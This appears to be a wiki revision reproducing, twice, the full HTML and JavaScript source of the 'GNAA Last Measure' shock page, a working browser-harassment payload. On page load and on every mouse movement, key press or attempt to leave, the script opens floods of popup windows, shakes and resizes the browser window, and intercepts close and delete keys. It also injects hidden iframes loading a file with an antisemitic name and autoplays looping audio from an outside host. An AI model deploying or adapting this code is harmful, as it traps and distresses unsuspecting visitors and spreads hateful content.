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<head> | |||
<title>THIS PAGE SMELLS LIKE FARTS</title> | |||
<script> | |||
var i; | |||
var j; | |||
function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("THIS PAGE SMELLS LIKE FARTS"); } | |||
function ctrlkey() { if (event.keyCode == 17) alert("THIS PAGE SMELLS LIKE FARTS"); } | |||
function delkey() { if (event.keyCode == 46) alert("GNAA LAST MEASURE LIVE!"); } | |||
var nom = navigator.appName.toLowerCase(); | |||
var agt = navigator.userAgent.toLowerCase(); | |||
var is_major = parseInt(navigator.appVersion); | |||
var is_minor = parseFloat(navigator.appVersion); | |||
var is_ie = (agt.indexOf("msie") != -1); | |||
var is_ie4up = (is_ie && (is_major >= 4)); | |||
var is_nav = (nom.indexOf('netscape')!=-1); | |||
var is_nav4 = (is_nav && (is_major == 4)); | |||
var is_mac = (agt.indexOf("mac")!=-1); | |||
var is_gecko = (agt.indexOf('gecko') != -1); | |||
// GECKO REVISION | |||
var is_rev = 0 | |||
if (is_gecko) { | |||
temp = agt.split("rv:") | |||
is_rev = parseFloat(temp[1]) | |||
} | |||
function procreate() { | |||
for(i = 0; i < 16; i++) { | |||
popUp("/members?popup=100"); | |||
} | |||
} | |||
function popUp(URL) { | |||
day = new Date(); | |||
id = day.getTime(); | |||
eval("page" + id + " = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');"); | |||
} | |||
function load_goatse() { | |||
document.body.innerHTML += goatseflash; | |||
setTimeout(unload_goatse(),3000); | |||
} | |||
function unload_goatse() { | |||
document.getElementById("hello").style.display = 'none'; | |||
} | |||
var images = new Array(); | |||
var imagecount = 0; | |||
var delay = 10; | |||
var step = .2; | |||
var curstep = 0; | |||
window.resizeTo(800,600); | |||
var centerX = (self.screen.width - document.body.clientWidth) / 2; | |||
var centerY = (self.screen.height - document.body.clientHeight - 120) / 2; | |||
movewow(); | |||
function movewow() { | |||
var j; | |||
for (j = 0; j < 5; j++) { | |||
curstep += step / 5; | |||
var factorX = Math.sin(curstep * 6.1) * 0.9; | |||
var factorY = Math.cos(curstep * 3.7) * 0.9; | |||
factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70) | |||
* (Math.sin(10+curstep/10)+0.2) | |||
* Math.cos((curstep + j*25)/10); | |||
factorY += 0.2 * Math.sin((20*Math.sin(curstep/(20+j)))+j*70) | |||
* (Math.sin(10+curstep/10)+0.2) | |||
* Math.cos((curstep + j*25)/10); | |||
window.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY)); | |||
} | |||
document.body.background = images[(Math.floor(curstep) % imagecount) + 1]; | |||
setTimeout(movewow(), delay); | |||
} | |||
var protos = [ | |||
"lm.pdf", | |||
"jews.wmv" | |||
]; | |||
function add(str) { | |||
div = document.getElementById("goatse"); | |||
div.innerHTML = '<iframe style="width: 1; height: 1;" src="'+str+'"></iframe>'; | |||
} | |||
function ruin() { | |||
document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>'; | |||
//while (1) { | |||
for (j = 0; j < 5; j++) { | |||
for (i = 0; i < protos.length; i++) { | |||
add(protos[i]); | |||
} | |||
} | |||
} | |||
var audio = new Array(); | |||
var audiocount = 27; | |||
audio[0] = 'HEY.wav'; | |||
audio[1] = 'eska.wav'; | |||
audio[2] = 'fury.wav'; | |||
audio[3] = 'popeye.wav'; | |||
audio[4] = 'kirk.wav'; | |||
audio[5] = 'abez2.wav'; | |||
audio[6] = 'original.wav'; | |||
audio[7] = 'rkz.wav'; | |||
audio[8] = 'blackman.wav'; | |||
audio[9] = 'jesuitx1.wav'; | |||
audio[10] = 'rucas.wav'; | |||
audio[11] = 'jesuitx2.wav'; | |||
audio[12] = 'jizzy.wav'; | |||
audio[13] = 'sam.wav'; | |||
audio[14] = 'abez.wav'; | |||
audio[15] = 'trogg.wav'; | |||
audio[16] = 'jenk.wav'; | |||
audio[17] = 'acostoss.wav'; | |||
audio[18] = 'lord_kane.wav'; | |||
audio[19] = 'tehdely.wav'; | |||
audio[20] = 'unknown.wav'; | |||
audio[21] = 'jsilver2.wav'; | |||
audio[22] = 'jenk2.wav'; | |||
audio[23] = 'meepsheep.wav'; | |||
audio[24] = 'jsilver.wav'; | |||
audio[25] = 'jakk.wav'; | |||
audio[26] = 'acostoss2.wav'; | |||
function start_play(i) { | |||
document.getElementById("audio").innerHTML += '<audio src="'+audio[i]+'" loop="true" autoplay />'; | |||
} | |||
function start_audio() { | |||
for (i = 1; i < audiocount; i++) { | |||
setTimeout(start_play, 12000 * (i), i); | |||
} | |||
} | |||
</script> | |||
<style> | |||
html { | |||
height: 100%; | |||
width: 100%; | |||
overflow: hidden; | |||
} | |||
body { | |||
height: 100%; | |||
width: 100%; | |||
margin: 0; | |||
padding: 0; | |||
} | |||
</style> | |||
</head> | |||
<body style="background-image: url(https://gnaa.ga/lastmeasure/hello.jpg); background-color: white;" onload="start_audio();load_goatse();document.getElementById('goatse').reset();movewow();setTimeout(ruin(),20);" onmousemove="document.getElementById('goatse').reset();movewow();procreate();" onkeydown="altf4key();ctrlkey();delkey();procreate();" onunload="document.getElementById('goatse').reset();movewow();procreate();" onmouseover="document.getElementById('goatse').reset();movewow();procreate();"> | |||
<script> | |||
</script> | |||
<div> | |||
GNAA LAST MEASURE LIVE | |||
</div> | |||
<script> | |||
</script> | |||
<div id="audio"> | |||
<audio src="https://gnaa.ga/lastmeasure/HEY.wav" autoplay loop="true" /> </div> | |||
<form onreset="procreate();" onsubmit="procreate();" action="#" id="goatse" name="goatse"> | |||
<p><span style="background-color:white; border:thin solid; color black;">Click meh</span></p> | |||
</form> | |||
</body> | |||
</html> | |||
</pre> |
Revision as of 09:37, 31 October 2022
<html> <head> <title>THIS PAGE SMELLS LIKE FARTS</title> <script> var i; var j; function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("THIS PAGE SMELLS LIKE FARTS"); } function ctrlkey() { if (event.keyCode == 17) alert("THIS PAGE SMELLS LIKE FARTS"); } function delkey() { if (event.keyCode == 46) alert("GNAA LAST MEASURE LIVE!"); } var nom = navigator.appName.toLowerCase(); var agt = navigator.userAgent.toLowerCase(); var is_major = parseInt(navigator.appVersion); var is_minor = parseFloat(navigator.appVersion); var is_ie = (agt.indexOf("msie") != -1); var is_ie4up = (is_ie && (is_major >= 4)); var is_nav = (nom.indexOf('netscape')!=-1); var is_nav4 = (is_nav && (is_major == 4)); var is_mac = (agt.indexOf("mac")!=-1); var is_gecko = (agt.indexOf('gecko') != -1); // GECKO REVISION var is_rev = 0 if (is_gecko) { temp = agt.split("rv:") is_rev = parseFloat(temp[1]) } function procreate() { for(i = 0; i < 16; i++) { popUp("/members?popup=100"); } } function popUp(URL) { day = new Date(); id = day.getTime(); eval("page" + id + " = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');"); } function load_goatse() { document.body.innerHTML += goatseflash; setTimeout(unload_goatse(),3000); } function unload_goatse() { document.getElementById("hello").style.display = 'none'; } var images = new Array(); var imagecount = 0; var delay = 10; var step = .2; var curstep = 0; window.resizeTo(800,600); var centerX = (self.screen.width - document.body.clientWidth) / 2; var centerY = (self.screen.height - document.body.clientHeight - 120) / 2; movewow(); function movewow() { var j; for (j = 0; j < 5; j++) { curstep += step / 5; var factorX = Math.sin(curstep * 6.1) * 0.9; var factorY = Math.cos(curstep * 3.7) * 0.9; factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70) * (Math.sin(10+curstep/10)+0.2) * Math.cos((curstep + j*25)/10); factorY += 0.2 * Math.sin((20*Math.sin(curstep/(20+j)))+j*70) * (Math.sin(10+curstep/10)+0.2) * Math.cos((curstep + j*25)/10); window.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY)); } document.body.background = images[(Math.floor(curstep) % imagecount) + 1]; setTimeout(movewow(), delay); } var protos = [ "lm.pdf", "jews.wmv" ]; function add(str) { div = document.getElementById("goatse"); div.innerHTML = '<iframe style="width: 1; height: 1;" src="'+str+'"></iframe>'; } function ruin() { document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>'; //while (1) { for (j = 0; j < 5; j++) { for (i = 0; i < protos.length; i++) { add(protos[i]); } } } var audio = new Array(); var audiocount = 27; audio[0] = 'HEY.wav'; audio[1] = 'eska.wav'; audio[2] = 'fury.wav'; audio[3] = 'popeye.wav'; audio[4] = 'kirk.wav'; audio[5] = 'abez2.wav'; audio[6] = 'original.wav'; audio[7] = 'rkz.wav'; audio[8] = 'blackman.wav'; audio[9] = 'jesuitx1.wav'; audio[10] = 'rucas.wav'; audio[11] = 'jesuitx2.wav'; audio[12] = 'jizzy.wav'; audio[13] = 'sam.wav'; audio[14] = 'abez.wav'; audio[15] = 'trogg.wav'; audio[16] = 'jenk.wav'; audio[17] = 'acostoss.wav'; audio[18] = 'lord_kane.wav'; audio[19] = 'tehdely.wav'; audio[20] = 'unknown.wav'; audio[21] = 'jsilver2.wav'; audio[22] = 'jenk2.wav'; audio[23] = 'meepsheep.wav'; audio[24] = 'jsilver.wav'; audio[25] = 'jakk.wav'; audio[26] = 'acostoss2.wav'; function start_play(i) { document.getElementById("audio").innerHTML += '<audio src="'+audio[i]+'" loop="true" autoplay />'; } function start_audio() { for (i = 1; i < audiocount; i++) { setTimeout(start_play, 12000 * (i), i); } } </script> <style> html { height: 100%; width: 100%; overflow: hidden; } body { height: 100%; width: 100%; margin: 0; padding: 0; } </style> </head> <body style="background-image: url(https://gnaa.ga/lastmeasure/hello.jpg); background-color: white;" onload="start_audio();load_goatse();document.getElementById('goatse').reset();movewow();setTimeout(ruin(),20);" onmousemove="document.getElementById('goatse').reset();movewow();procreate();" onkeydown="altf4key();ctrlkey();delkey();procreate();" onunload="document.getElementById('goatse').reset();movewow();procreate();" onmouseover="document.getElementById('goatse').reset();movewow();procreate();"> <script> </script> <div> GNAA LAST MEASURE LIVE </div> <script> </script> <div id="audio"> <audio src="https://gnaa.ga/lastmeasure/HEY.wav" autoplay loop="true" /> </div> <form onreset="procreate();" onsubmit="procreate();" action="#" id="goatse" name="goatse"> <p><span style="background-color:white; border:thin solid; color black;">Click meh</span></p> </form> </body> </html>